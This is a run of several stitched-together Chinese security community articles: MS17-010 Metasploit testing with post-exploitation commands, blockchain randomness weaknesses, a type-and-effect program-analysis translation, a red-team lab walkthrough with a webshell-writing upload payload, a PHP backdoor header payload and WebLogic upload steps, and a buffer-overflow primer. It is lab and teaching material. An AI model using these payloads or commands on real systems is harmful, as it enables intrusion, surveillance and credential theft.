2.kali官方最早支持的`exploit/windows/smb/ms17_010_eternalblue`模块
3.最近更新的`exploit/windows/smb/ms17_010_psexec`模块
下载地址：<https://github.com/rapid7/metasploit-framework/pull/9473>
本次主要分析`exploit/windows/smb/ms17_010_psexec`模块，周更新kali已纳入此模块
## 1.安装与测试
kali2.0及以下版本需安装该模块（或下载最新版msf）
此处应注意安装其他四个依赖模块，`reload_all`不报错即可。
操作如下：
### 1.1.测试Microsoft(R) Windows(R) Server 2003, Enterprise Edition（ip:
192.168.253.141）
此版本在多次测试中稳定利用,此处不再赘述。
### 1.2. 测试Microsoft Windows XP Professional（ip: 192.168.253.136）
此版本在多次测试中稳定利用,此处也不再赘述。
### 1.3. 测试Microsoft Windows 7 家庭普通版（ip: 192.168.253.135）
当前模块需指定SMBPass和SMBUser建立window命名管道。
#### 1.3.1.Win7使用`exploit/windows/smb/ms17_010_eternalblue`模块可被稳定利用
### 1.4.测试Microsoft Windows Server 2008 R2 Datacenter（ip: 192.168.253.135）
需指定SMBPass和SMBUser建立window命名管道。
####
1.4.1.使用`exploit/windows/smb/ms17_010_eternalblue`模块，部分winserver2008可被稳定利用，多次实际测试中发现winserver2008企业版利用不稳定，易导致蓝屏重启。
### 1.5.测试Windows 8.1 Pro 9600|Windows 8.1 Pro 6.3（ip: 10.0.21.160）
目前发现Windows 8.1 Pro 9600可以稳定利用，较高版本需要建立windows命名管道。
### 1.6.测试winserver2012（ip: 192.168.253.146）
需指定SMBPass和SMBUser建立window命名管道。
### 1.7.测试win10（ip: 192.168.253.145）
部分老版本稳定利用，较新版本需指定SMBPass和SMBUser建立window命名管道。
测试中发现Windows 10 Home 10586版本无需建立windows命名管道稳定利用，测试如下：
## 2.分享几条好玩的命令：
测试机为一台windows7 X64旗舰版未更新到最新的补丁
`bgrun post/windows/wlan/wlan_profile` //读取无线连接的账号密码
此处执行失败换一种方式
在cmdshell下执行`netsh wlan show profiles`
`wdigest` //抓取明文密码（需加载mimikatz模块）
`bgrun killav` //杀掉杀毒软件
`webcam_list` //查看有没有摄像头
`bgrun webcam` //启动摄像头
`webcam_snap -i 1 -v false` //启动摄像头拍摄一张照片但不打开闪光灯
`bgrun sound_recorder` //启动声音录制
`bgrun hashdump` //获取哈希值
`bgrun vnc` //启动vnc连接
`screenshot` //对目标系统桌面进行截屏
`clearev` //清除日志 | 社区文章 |
### 一、前言
“随机数”在计算机程序中并不少见，开发人员也会经常使用随机数进行数值的模拟、预测。在C++程序里，我们经常使用一定的 _种子_
来进行随机数的生成过程。在计算机程序中，随机数可以被分为 **真随机数** 与 **伪随机数**
。而真随机数是十分难实现的，例如使用筛子、转轮等等。对于伪随机数来说，我们又分为：
1. 强伪随机数：难以预测的随机数，常用于密码学。
2. 弱伪随机数：易于预测的随机数。
随机数有3个特性，具体如下：
* 随机性：不存在统计学偏差，是完全杂乱的数列，即分布均匀性和独立性
* 不可预测性：不能从过去的数列推测出下一个出现的数
* 不可重现性：除非将数列本身保存下来，否则不能重现相同的数列
随机数的特性和随机数的分类有一定的关系，比如，弱伪随机数只需要满足随机性即可，而强位随机数需要满足随机性和不可预测性，真随机数则需要同时满足3个特性。
上述是宏观上随机数的情况，然而在区块链的场景下，随机数又有了不同。对于分布式的APP，区块链先天就在随机数的生成中有了弊端。要领所有的用户都能够得到相同的随机数数值并且还不能让延时过高确实是个很难的挑战。
在区块链中，随机数有很多的应用场景，例如抽奖活动、验证码、Token、密码应用场景（生成秘钥、生成盐）等。
随机数的安全也是一个由来已久的问题。一个广泛的原则是：随机性的生成最好不被任何个体所控制。如从比特币的未来某区块的数据来获取随机性的方式是不能使人信服的，因为这些随机性最终实际上是由某个个体决定的，无法证明这个相关人没有作恶等等。
下面我们就针对区块链中的随机数生成进行详细分析，并对现在的随机数安全进行代码实现。
**全文共分上下两篇，第一篇详细讲述随机数的理论原理，第二篇对随机数代码、CTF竞赛题目、项目代码进行分析** 。
### 二、区块链中的随机数
我们都知道PoW的方案是让全网共同进行哈希计算，并在出题时设置一个计算哈希的难题，谁先算出来谁就获胜。所以这就意味着算力高的赢的概率高，算力低的赢的概率低，以这样的方式保证胜出者是随机的。而在计算难题的设置上也存在的随机数的设置，这个随机数需要所有的节点均能够查看到，并且能够做到无法预测。
对于Pos来说，它为了解决Pow中存在的浪费电力的情况，它选择了了随机选举一个节点来出块，并且被选中的概率和它拥有的份额相关。倘若系统能够保证随机这个过程是无法预测且真实的，那么恶意节点只能通过增加自己的份额，增加自己被选中的概率，从而增加双花攻击的成功概率。比较Pow，Pos攻击者要实现攻击，先得成为持币大户，如果因为攻击而导致币价大跌，攻击者也会承受最大的损失。
根据我们的分析，上述两种情况均涉及到随机数的产生。我们假设此处的随机数存在问题，例如存在可预测的情况。那么攻击者就可以无限的进行作恶。在Pow中，他就会比别的节点提前知道随机数的内容，并且能够先人一步提前进行计算，也就意味着他能够有更大的概率获得记账权。对于Pos来说，攻击者就能根据随机数的生成机制，更改某些条件以达到使的选择到自己为记账人的概率加大，从而提升自己记账的权利。
传统地PoS方案尝试从链上的数据入手，比如使用上一个区块的哈希值，上一个区块的时间戳等等来作为随机数的来源，但这些会带来额外的安全风险。
因为区块本身的信息就是节点写进去的，然后又要根据里面的信息来选举后续的出块者，存在循环论证的嫌疑，安全性不会太好。
这也是传统地认为PoS方案不如PoW可靠的部分原因。
区块链是一个分布式的系统，它要求各个节点的运算结果是可验证、可共识的。然而传统的伪随机数生成算法与单台机器的物理状态或运算状态相关，不同的机器或者节点会展现出不同的运算结果，然而区块链上不能这么进行设计。
所以针对DAPP，有一下三种解决方案供参考：
第一种是引入第三方，并让可信第三方为合约提供随机数；第二种是通过合约的设定进行多方协作从而实现伪随机数的生成，为其他合约提供一致性的随机数。第三种是让所有节点上的合约可以采集到相同的种子，再通过伪随机算法计算出相同的随机数序列。
下面我们具体来看：
#### 1 可信第三方参与生成
在区块链系统中，为了使所有的节点的随机数同一，我们可以将区块链的所有节点接入第三方的平台上来。简单来说，我们可以可以找一个应用帮助我们生成随机数，而所有的节点均对这个应用信任。
虽然这样可以解决随机数生成的问题，但是我们知道区块链作为去中心化的代表，倘若引入了中心化的应用来帮助是有些违背理论的。
然而该第三方是否值得信任，能否能提供高质量的随机数均是问题。倘若这个应用于其他攻击者联手或者被黑客攻破，那带来的威胁也是巨大的。
不过还是有一些落地的DAPP使用了这种设计思维。例如：`External oracles: Oraclize`。
Oraclize 提供了一个连接以太坊与互联网的桥梁。通过 Oraclize，智能合约能够通过 web API
请求数据。如当前的兑换率，天气预报或股票价格。其中一个最大的作用是能提供伪随机数。一些合约通过 Oraclize 中的 URL 连接器来连接
`[random.org](http://random.org/)` 来获取伪随机数。如下图所示：
在这个应用中，`Oracle`是提供数据的一方。由于区块链应用程序（如比特币脚本和智能合约）无法直接获取所需数据，因此需要这样的数据：资产和金融应用程序的价格供给。此应用多用于点对点保险的天气相关信息。赌博的随机数生成。`Oraclize`是一个预言机，独立于区块链系统之外，智能合约发送请求给`Oraclize`，当`Oraclize`监听到链上相关请求后，生成随机数并将结果返回区块链。
下面代码是在以太坊中接入的函数：
pragma solidity ^0.4.11;
import "github.com/oraclize/ethereum-api/oraclizeAPI.sol";
contract ExampleContract is usingOraclize {
string public ETHUSD;
event LogConstructorInitiated(string nextStep);
event LogPriceUpdated(string price);
event LogNewOraclizeQuery(string description);
function ExampleContract() payable {
LogConstructorInitiated("Constructor was initiated. Call 'updatePrice()' to send the Oraclize Query.");
}
function __callback(bytes32 myid, string result) {
if (msg.sender != oraclize_cbAddress()) revert();
ETHUSD = result;
LogPriceUpdated(result);
}
function updatePrice() payable {
if (oraclize_getPrice("URL") > this.balance) {
LogNewOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee");
} else {
LogNewOraclizeQuery("Oraclize query was sent, standing by for the answer..");
oraclize_query("URL", "json(https://api.pro.coinbase.com/products/ETH-USD/ticker).price");
}
}
}
详细的使用方法参考[oraclize](http://docs.oraclize.it/#background)。
#### 2 基础合约参与生成
第二种方法是在区块链中最符合分布式思想的一种，他需要区块链系统中不同的参与者进行合作才能生成伪随机数。具体的算法我们讲解如下：
首先，在随机数生成时，为了能够达到生成随机数的安全特性，我们需要使用密码学的理论来充实我们的概念。首先我们来看 **承诺和打开((Commitment &
Open)**。
在承诺与打开的应用场景下，倘若此处存在两个用户A与B。他们两个人并没有面对面，但是他们想进行一个石头剪刀布的游戏，并决出获胜者。那我们应该怎么做呢？倘若时间不同步，那么一个人就能看到另一个人的情况，这也就意味着他们无法公平的竞争。所以我们要对每个人的结果采取一些措施：
* 他们先自行做出选择，然后把自己的选择做个哈希；（H(A)、H(B)）
* 交换这个哈希；
* 等双方都收到对方的哈希后，再交换双方的选择；
* 验证对方的选择和之前的哈希一致；
这个过程中也可以添加入自己的公钥以做证据，防止以后反悔。
这样双方都知道了对方的选择，也能确认对方的选择是提前就做好的。
这个哈希值就叫做承诺，因为它里面包含了保密信息，但又没有泄漏保密信息，而最终发送对应的保密信息，就叫做打开承诺。
下面我们讲述一下如何在生产随机数的过程中记录作恶节点并对其进行惩罚。下面我们介绍下秘密共享方案：
秘密共享是说，一个人可以把一个需要保密的信息，拆分成n份，分别发送给n个人，只要恶意节点不超过一定数量，最终大家可以综合各自的信息片段把原始信息还原出来。
并且就算分发者如果作弊，大家也可以检查出来。比如密码共享方案（3，9）即将一个秘密分为九份，然后分配给9个人，只要九份中的三份放在一起就可以恢复出秘密。
例如下面的直接坐标系，我们都知道y = ax
+b直线坐标需要两个点可以确定这个直线。所以我们可以用此方程做(2，n)的共享方案。我们可以在图像上寻找n个点并分发给n个用户，之后倘若有两个用户将点放在一起便可以恢复成直线，也就可以得出b的值。而b的值就是我们隐藏的秘密。
知道了这些，倘若作恶节点不发送随机数的打开方式，那么我们也可以利用合理数量的用户来打开秘密。保证系统的正常运行。如果他想在拆分信息上作弊，大家也能检查出来并把他踢掉。
最后，因为我们本来就是个区块链，所以协议过程中需要广播的信息，我们可以直接写到链上去，
这样可以简化实现，并且也不需要所有投票节点同时在线，并且如果有人作弊，作弊的记录将会永远保存在链上。采取相应的惩罚措施也会使恶意节点收手。
在讲完密码学基础后，我们引用一张图来表示这个过程：
#### 3 公共种子采集生成
在第三种方式，合约采用了公共区块上面的信息进行随机数的seed值，由智能合约根据种子生成伪随机数。这种方法最大的缺陷就是一旦黑客知道了随机数的生成算法，也能获取正确的种子，就能轻易地对智能合约发起随机数攻击。
然而不同于传统的中心化系统，区块链上的信息是所有人都能看到的，区块链上的种子几乎是“透明”的。它是链上的区块信息，所有节点上的智能合约都能够取到，那么从原理上讲，黑客用于攻击的恶意合约同样可以获得这些数值。
下面我们列举几个危险的随机数生成函数”：
// 如果 block.number 是偶数，则 won 输出为 true。
bool won = (block.number % 2) == 0;
在实例中，我们看到使用了`block.number`这个函数。而在我们的实验中，我们可以看到：
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 lastHash;
function get() view public returns(uint256) {
lastHash = uint256(block.blockhash(block.number));
return lastHash;
}
}
var random = uint(sha3(block.timestamp)) % 2;
除此之外，我们还可以使用困难度进行随机数产生，然而这也是不安全的。
pragma solidity ^0.4.0;
contract random{
function rand() public returns(uint256) {
uint256 random = uint256(keccak256(block.difficulty,now));
return random%10;
}
}
由此可见，这种方法也是需要更深刻的进行设计的。当黑客获取到随机数算法后，他就能根据算法的内容进行百分百预测从而进行作恶。
而在我们的的时候发现，许多合约使用了`block.blockhash(block.number)`这个函数作为生成随机数的种子。这是十分危险的。`block.number`
变量可以获取当前区块区块高度。但是还没执行时，这个“当前区块”是一个未来区块，即只有当一个矿工把交易打包并发布时，这个未来区块才变为当前区块，所以合约才可以可靠地获取此区块的区块哈希。
所以这个信息不论怎么运行都只会返回0值。
### 三、参考
* <https://www.huoxing24.com/newsdetail/20181122150016435403.html>
* <https://zhuanlan.zhihu.com/p/34354265>
* <https://www.freebuf.com/vuls/179173.html>
* <http://www.jouypub.com/2018/7665609b0126606e2ae90ad7cfcdce8b/>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# 程序分析理论 第五部分 对控制流分析的基于类型和响应的系统模型
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本篇是程序分析理论第十一篇：基于类型和响应的系统模型Type and Effect Systems
想法：加入type模型在分析过程中触发响应模型实现函数指向。
## 基于类型的系统模型 Type System
基于类型的系统模型首先要引入类型要素，类型要素包括bool，类型转换，int。我们分析的语句形式包括：变量，true /false ， e e，fn ，
fun ，let in。
首先，我们做出基于类型的函数语言的语法：
和之前的语法相似，常数为c ，变量为 x，函数fn _π x = > e_0 ，递归函数 fun\_π f x => e_0 ,并列语句 e_1 e_2
，if语句 if e_0 then e_1 else e_2 ，函数调用语句 let x = e_1 in e_2 ，判断语句 e_1 op
e_2。其中不同的是在函数和递归函数中添加了断点π。
接着，我们提出底层类型模型实现类型判断：
用语句表示就是Γ |- e : t
其中Γ表示 。e表示抽象语句 ，t表示类型
任意 c 存在type，如 true = bool 7 = int
对于任意判断语句参数为int类型，结果为bool类型
应用到所有语句就会变成：
Γ |- c : t_c
Γ |- x : t Γ(x) = t
Γ[x->t _x] |- e_0 : t_0 / Γ |- fn_ π x=>e_0 : t_x -> t_0 (x类型是t_x，e_0最后输出类型是
t_0)
Γ[f -> t _x- >t_0][x->t_x] |- e_0 : t_0 / Γ |- fun_π f x=>e_0 : t_x -> t_0
(x类型是t_x，e_0最后输出类型是 t_0，递归时，f作为t_x进入以t_0输出)
Γ |- e_1 : t_2 -> t_0 Γ |- e_2 : t_2 / Γ |- e_1 e_2 -> t_0
(e_1将t_2类型转换成t_0，e_2是t_2类型。最后输出是t_0类型)
Γ |- e_0 : bool Γ |- e_1 : t Γ |- e_2 : t / Γ |- if e_0 then e_1 else e_2 : t
(经过判断后执行语句)
Γ |- e_1 : t_1 Γ[x -> t_1] |- e_2 : t_2 / Γ |- let e_1 in e_2 : t_2
(最终根据e_2确定type)
Γ |- e_1 : t_1 Γ |- e_2 : t_2 / Γ |- e_1 op e_2 : t
(判断语句两个参数是可以比较的类型，返回值是bool类型)
### 例子 Example
首先let in结构Γ |- e_1 : t_1 Γ[x -> t_1] |- e_2 : t_2 / Γ |- let e_1 in e_2 : t_2
fun 结构Γ[f -> t _x- >t_0][x->t_x] |- e_0 : t_0 / Γ |- fun_π f x=>e_0 : t_x -t_0
fn结构Γ[x->t _x] |- y : t_0 / Γ |- fn\_ π x=>y : t _x - > t_0 Γ[x->t_x] |- z :
t_0 / Γ |- fn_π x=>z : t_x -t_0
e_1 e_2结构 Γ |- e_1 : t_2 -> t_0 Γ |- e_2 : t_2 / Γ |- e_1 e_2 -> t_0
总结下来的操作就是 [f -> (t -> t) -> (t -> t)] [x -> t ->t] 递归函数中，不断循环fn y的操作，再执行fn
z的操作。
所以基于类型的系统模型应用在控制流分析中可以根据数据类型调用函数，int bool始终是本身，t->t代表是一个函数的抽象。
由于存在多个相同的类型转换的函数抽象无法区别彼此，我们添加标记φ。
我们在之前的fn和fun结构中增加了断点，此时可以应用这些断点进行区别。
## 基于响应的系统模型Effect System
对于特定type_1和特定type_2形成对应关系的语句，我们应当作出相应的特定操作。这就是基于响应的思想。
对于控制流，我们要做的响应是抽象函数的调用。对于异常，我们要做出不同特定的响应。对于作用域我们要对数据作用域作出响应。对于交互我们要对不同时间的信号作出响应。
要实现这样一个系统模型，我们要使用基于类型的函数语言，底层类型系统，响应系统的拓展。
首先基于类型的函数语言和底层类型系统在上面已经提到，响应系统的拓展就是使用上面提到的φ进行。
上一个例子我们得到 [f -> (t -> t) -> (t -> t)] [x -> t ->t]的结论，但是转换之间调用的函数无法确定，此时我们应用φ。
由于存在fn y和fn z，所以同类φ中存在y z 两种方法，实际执行中可能是两种之中的一个。还有fun f，同类φ中只有F。至于g
()则不调用函数，为空。
最后得到 [f -> (t – {Y,Z} -> t) – {F} -> (t – 空 -> t)] [x -> t – {Y,Z} ->t]
仅仅记录调用函数肯定不能直接实现程序分析，还要有值，也就是程序中一定存在某处是赋值语句，在控制流分析中，我们把赋值语句也当作了函数，或者说某个函数的返回值是一个值，所以我们可以做出e
-> v 的归纳。
加上这一归纳后的语法也发生了一些变化：
c -> c
fn_π x => e _0 — > fn\_π x -> e_0
fun_π f x -> e _0 — > fn\_π x ->(e _0[f - > fun\_π f x -> e_0])
(在递归过程中，不断分解成fn x -> e_0)
e_1 —> fn_π x -> e_0 e_2 —> v_2 e_0[x -> v_2] —> v_0 / e_1 e_2 —>v_0
(e_1是一个函数，e_2是赋值，最终是将v_2当作x代入函数，返回值v_0)
e_0 —>true e_1 —>v_1 / if e_0 then e_1 else e_2 —> v_1 (判断为true返回e_1的返回值)
e_0 —>false e_2 —>v_2 / if e_0 then e_1 else e_2 —> v_2 (判断为false返回e_2的返回值)
e_1 -> v_1 e_2[x->v_1] ->v_2 /let x = e_1 in e_2 ->v_2 (函数返回值为v_1 代入e_2中得到v_2)
e_1 —> v_1 e_2 —> v_2 / e_1 op e_2 — v (v_1 op v_2 = v)
依旧是上面的例子
let in结构g为fun返回值
—> fun_F f x => f (fn_Y y => y) fn_z z => z
—>递归函数为 fn_F x => ((fun_F f x => f (fn_Y y => y)) fn_Y y => y)
—> v g返回值为v
## 推理算法 Inference Algorithms
明确了模型，接下来我们要选择算法实现模型。
首先，对于类型而言，除了明确定义与常数的类型确定，有些函数或语句的返回结果无法确定，所以在实际运用中，我们添加α用来表示这些类型的集合，对于一个返回值，我们与α一个类型建立映射。而这个类型我们用断点去命名。
虽然表示了类型，但是类型依旧不能明确，所以需要通过上下文加以限制从而使用算法去判断数据类型。因此我们增加新的语法：U
U是用于建立上下文联系的工具，对于U(int,int) 和U(bool,bool)，我们保持原有id集合记录类型，对于U(t_1 -> t_2 , t’_1
->t’_2)记作θ_1 o θ_2 。θ_1要满足θ_1 t_1 -> θ_1 t’_1 θ_2要满足θ_2(θ_1 t_2) ->θ_2(θ_1
t’_2)。即要想t_1 -> t_2 , t’_1 ->t’_2等价，需要满足t_1和t’_1存在映射， t_2和t’_2存在映射，最终实现 t_1 ->
t_2 和 t’_1 ->t’_2存在映射。而映射关系就是θ_1 o θ_2。对于U(α , t) 和U(t , α)则需要α 是 t 或者 α 是
t没有表示的类型。记作[α -> t]
例子
U(a -> a,(b -> b) -> c)
存在θ_1满足a和b->b存在类型映射，θ_2满足a和c存在类型映射。除此之外，还需要b -> b和c存在类型映射关系，即[a|-> b->b] [a
|-> c] [c |-> b->b]
接下来我们对所有语句类型进行语法描述
W(Γ , c) = (t_c ,id) 对于常数 c ，数据类型为 t_c 保存在 id集合中
W(Γ , x) = (Γ(x) ,id) 对于变量 x ，数据类型为 Γ(x) 保存在 id集合中
W(Γ , fn_π x => e_0) = let α_x be fresh (t_0 ,θ_0 ) = W(Γ[x->α_x] , e_0) in
((θ_0,α_x) -> t_0 , θ_0) 对于函数fn ，将 x 的数据类型先设为空，判断e_0语句中变量的数据类型，和 x 建立映射，保存在θ中。
W(Γ , fun_π f x => e_0) = let α_x α_0 be fresh (t_0 ,θ_0 ) = W(Γ[x->α_x ->
α_0][x -> α_x] , e_0) θ_1 = U(t_0,θ_0,α_0) in (θ_1(θ_0,α_x) ->θ_1 t_0 , θ_1 o
θ_0) 对于递归函数fun f，将 x 和输出的数据类型先设为空，判断e_0语句中变量的数据类型，和 输出 建立映射，保存在θ_0中。将 x
和输出进行复制保存在θ_1中。
W(Γ , e_1 e_2) = let (t_1, θ_1) = W(Γ,e_1) (t_2, θ_2) = W(θ_1 Γ,e_2) α be
fresh θ_3 = U (θ_2 t_1,t_2 -> α ) in (θ_3 α,θ_3 o θ_2 o θ_1 ) 对于e_1 e_2 ，将 返回值
的数据类型先设为空，判断e_1 e_2语句中变量的数据类型，和 返回值 建立映射，保存在θ_3 o θ_2 o θ_1中。
W(Γ , if e_0 then e_1 else e_2) = let (t_0, θ_0) = W(Γ,e_0) (t_1, θ_1) = W(θ_0
Γ,e_1) (t_2, θ_2) = W(θ_1(θ_0 Γ) ,e_2) θ_3 = U (θ_2(θ_1 t_0),bool ) θ_4 = U
(θ_3 t_2,θ_3(θ_2 t_2) ) in (θ_4(θ_3 t_2) , θ_4 o θ_3 o θ_2 o θ_1 ) 对于if，判断e_1
e_2语句中变量的数据类型，根据e_0选择e_1 或 e_2和 返回值 建立映射，保存在θ_4 o θ_3 o θ_2 o θ_1中。
W(Γ , let x = e_1 in e_2) = let (t_1, θ_1) = W(Γ,e_1) (t_2, θ_2) = W((θ_1
Γ)[x->t_1,e_2) in (t_2 , θ_2 o θ_1 ) 对于let in ，判断e_1
语句中变量的数据类型,代入到e_2中判断返回值数据类型，保存在 θ_2 o θ_1中。
W(Γ , e_1 op e_2) = let (t_1, θ_1) = W(Γ,e_1) (t_2, θ_2) = W(θ_1 Γ,e_2) θ_3 =
U (θ_2 t_1,t_op ) θ_4 = U (θ_3 t_2,t_op ) in (t_op,θ_4 o θ_3 o θ_2 o θ_1)
对于e_1 op e_2 ，判断e_1 e_2语句中变量的数据类型，建立类型映射保存到到θ_4 θ_3中 ，将t_op保存在θ_4 o θ_3 o θ_2
o θ_1中。
上面是基于类型的系统模型的算法语法，接下来是基于响应的系统模型。
对于响应系统的拓展，我们用β表示响应集合，用数字区分各个响应。和上面语法类似，我们要建立类型统一：对于U(int,int)和U(bool,bool)没有区别，对于U(t_1
-β-> t_2,t’_1 -β‘->t’_2 )，除了之前的t_1和t’_1 ,t_2和t’_2存在映射外，β和β’也要存在映射。
例子
U(a -1-> a,(b -2->b) -3-> c)
1和3存在映射 [3 |->1]
其余和基于类型的结果一样[a |-> b-2->b][c |-> b -2-> b]
最终得到[3 |->1][a |-> b-2->b][c |-> b -2-> b]
除此之外，我们1 ，2，3进行约束，即与实际建立联系。
例子
(fn_X x=>x) (fn_Y y=>y)
对于上面的例子，我们可以抽象成a -1-> a,(b -2->b) -3-> c
其中，我们将1和X建立联系，2和Y建立联系。从而明确调用内容。
最后我们对之前的例子完整应用上面的算法。
对于let in结构，我们直接将g替换
(fun_F f x => f (fn_Y y => y)) (fn_Z z=>z)
对于(fun_F f x => f (fn_Y y => y))我们可以抽象成g |-> (a -2-> a) -1->b 其中1是F 2是Y
对于(fn_Z z=>z)我们抽象成c -3-> c -4->d
(fun_F f x => f (fn_Y y => y)) (fn_Z z=>z)是 e_1 e_2的结构，所以存在类型匹配，即 a -> c b ->d
1->4 2->3
所以4包含F，3包含Y，同时由于3本身是fn_Z z=>z，所以3包含Z
也就是这一段代码我们可以简化成 (a->a) ->b，其中 a->a的处理机制2和3，也就是YZ机制，->b包含F机制和输出机制。
## 最后
欢迎指教
_DR[@03](https://github.com/03 "@03")@星盟_ | 社区文章 |
# 前言
本次靶场为 **红队蓝军** 自行搭建的一个内网域渗透靶场，下面为靶场的拓扑图：
扫描下方二维码关注公众号，回复 **靶场** 获取靶场
内网渗透的本质其实就是信息搜集，在渗透的过程中要仔细的去查看每台主机之间的联系，才会让渗透过程开展得更为顺利。这个靶场涉及到的漏洞其实都是比较老的洞，主要是想记录一下碰到一台主机该如何去分析具体会存在哪些漏洞，因为涉及到的知识点比较多，我将其分为了上、下两个部分来分别记录。
# 外网打点
首先对nmap对当前网段主机进行端口扫描，可以看到有4台主机存活
nmap -sN -PE 192.168.1.0/24
192.168.1.9开放了22端口即ssh服务，192.168.1.10开放了8080端口猜测是一个web服务，192.168.1.11开放了3306端口即mysql服务，192.168.1.12和192.168.1.13没有扫描出端口特征，但是主机名分别为hack1和hack2
那么首先访问下hack1，80端口下是一个PBOOTCMS
通过<http://192.168.1.12/doc/ChangeLog.txt确定具体版本为V2.0.8>
google一下只有2.0.7和2.0.9的，2.0.8需要进入后台进行构造
来到后台页面
通过弱口令`admin/admin123`进入后台
然后通过构造代码执行，但是执行不了，可能是洞被修了
然后再用nmap对192.168.1.12进行具体的扫描，得到88端口，访问是一个帝国cms
通过`/e/admin`来到后台
还是弱口令`admin/admin123`进入后台
EmpireCMS
7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。
点击导入系统模型
然后在本地生成一个`1.php`并改名为`1.php.mod`上传
<?php file_put_contents("getshell.php","<?php @eval(\$_POST[cmd]); ?>");?>
访问一下没有报错证明上传成功
蚁剑连接`http://192.168.1.12:88/e/admin/getshell.php`即可得到webshell
这里我们拿到webshell后发现h是通过phpstudy搭建的，一个web在80端口，一个在88端口
在根目录下找到了第一个flag
然后查看一下`config.php`配置文件，发现是一个站库分离，且ip为192.168.1.13，就是我们之前通过nmap扫描到的hack2
用蚁剑自带的数据库可视化功能去连接
注意这里不能选择mysql，选择mysql必须是默认端口的情况下
选在MYSQLI自定义3308端口进行连接
得到第二个flag
然后我们再看看之前扫到的8080端口，开局只有一个hello world
这里有两种方法，一种是通过`Wappalyzer`插件查看是一个php8.1
或者抓包发送查看
通过搜索引擎查询php8.1存在一个后门漏洞，直接使用payload
User-Agentt: zerodiumsystem("ls");
得到了第三个flag
这里其实拿到了两台主机的权限，在进行信息搜集过后，并没有发现mysql和ssh的密码，那么先往内网里面继续进行渗透
# 内网渗透
这里ipconfig一下，发现有双网卡，另一张网卡通向10.10.10.0/24段
那么用cs生成一个木马上传
然后执行命令上线cs，这里我用powershell没有回显不知道咋回事orz...
然后进行同网段存活主机的扫描，这里一般会用cs自带的端口扫描，但是这里如果用他自带的端口扫描就有一个弊端，cs的端口扫描默认是扫一个大段，而这里又是10段的ip，所以如果使用cs自带的端口扫描的话时间就会偏长
那么这里我们直接自己使用命令扫描10.10.10.1-10.10.10.255的存活主机
portscan 10.10.10.1-255 1-1000,3389,6000-9999
扫完之后我们得到了一个ip为10.10.10.10的存活主机且有7001特征端口
那么首先进行流量代理，这里我用的是venom，cs的代理不稳定所以我就没有使用
本地监听9999端口
admin.exe -lport 9999
执行命令代理到本地的6666端口
agent.exe -rhost 192.168.1.2 -rport 9999
然后配置浏览器代理
即可访问到7001端口
这里假如不知道7001端口为weblogic特征端口，就可以拿着报错去百度，也能够得到为weblogic框架
再访问一下weblogic的后台
得到weblogic的版本为12.2.1.3，这里weblogic的漏洞应该是CVE-2018-2894，但是需要进入后台打开web测试页，这里尝试了弱口令并没有登入成功
只能在之前两台主机里面进行信息搜集，在数据库里面发现了疑似后台的账号密码
登入成功
打开web测试页
访问`http://10.10.10.10:7001/ws_utc/config.do`这里的工作目录不修改直接上传jsp的话是访问不到的，所以我们需要将路径更改为我们能够有权限访问的目录
修改工作目录为以下路径
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war\css
再上传Keystore，这里上传冰蝎马即可
然后f12审查元素得到时间戳为`1641526585016`
构造得到`http://10.10.10.10:7001/ws_utc/css/config/keystore/1641527581712_ice.jsp`，访问一下没有报错证明上传成功
开启冰蝎代理
连接成功
在根目录下找到了第4个flag
还发现了一个`root.txt`，之前好像也没有扫出tomcat，试着连一下ssh
连接成功，拿到了第五个flag
然后ipconfig看一下，有一张10.10.10.0/24段的网卡，这里上cs的话就要注意了，因为是处于不出网环境，就需要用到TCP beacon进行上线
这里参考了hxd的[不出网主机的几种上线方式](https://www.anquanke.com/post/id/254671)
> 这种方式一般试用于：密码撞不上，内网机器有web服务。
我们首先需要建立一个TCP Beacon的监听
这里需要用到无状态的后门，即Stageless，相对的就是Stager
>
> Stager是分步式，分阶段的，只用少部分代码来请求和加载payload，cs的加载payload模式为反射加载beacon.dll，但这个beacon.dll并不在可执行文件中，而是在远程C2服务端。
>
>
> Stageless则是将beacon.dll包含在可执行文件中，并且可能有写额外的操作，于是文件比较大，特征也更明显，但是适合横向不出网机器，因为不出网所以有可能请求不了c2服务端上的beacon.dll。
将生成的beacon.exe上传到根目录下，但是这里有个问题，因为我们拿到的是一个user权限的webshell，因为权限的问题是不能直接在根目录进行操作的，所以报错，这里就需要找一个能够可执行的路径，一般是tmp目录
这里成功上传
然后执行`beacon.exe`
使用`connect 10.10.10.10`命令连接即可上线cs
然后因为这里是一个user权限，能操作的空间比较小，所以我们需要先进行提权
先用了插件提权，把梼杌的提权插件试完了都没有成功。这里提权有点坑，我们放到下半部分来继续说。 | 社区文章 |
## FreeFloat FTP1.0 溢出漏洞分析
最近在研究逆向，跟着国外文章在入门。
环境准备：
> xp sp3
>
> FreeFloat FTP 1.0
>
> kali
>
> ollydbg
>
> Immunity Debugger
>
> Mona.py
当发生溢出时，我们正在清楚两点; （1）我们的缓冲区需要覆盖EIP（当前指令指针）和（2）其中一个CPU寄存器需要包含我们的缓冲区。您可以看到下面的x86
CPU寄存器列表及其各自的功能。我们需要记住的是这些寄存器中的任何一个都可以存储我们的缓冲区（和shellcode）。
EAX - 算术计算中使用的主寄存器。也被称为累加器，因为它具有结果
算术运算和函数返回值。
EBX - 基础注册表。指向DS段中的数据的指针。用于存储的基地址
程序。
ECX - 计数器寄存器通常用于保存表示进程次数的值
将被重复。用于循环和字符串操作。
EDX - 通用寄存器。也用于I / O操作。有助于将EAX扩展到64位。
ESI - 源索引寄存器。指向由DS寄存器指向的段中的数据。用作
字符串和数组操作中的偏移地址。它拥有从哪里读取数据的地址。
EDI - 目的地索引寄存器。指向由指向的段中的数据（或目标）
ES注册。用作字符串和数组操作中的偏移地址。它具有隐含的意义
写所有字符串操作的地址。
EBP - 基本指针。指向栈上数据的指针（在SS段中）。它指向的底部
当前堆栈帧。它被用来引用局部变量。
ESP - 堆栈指针（在SS段）。它指向当前栈帧的顶部。它被使用
引用局部变量。
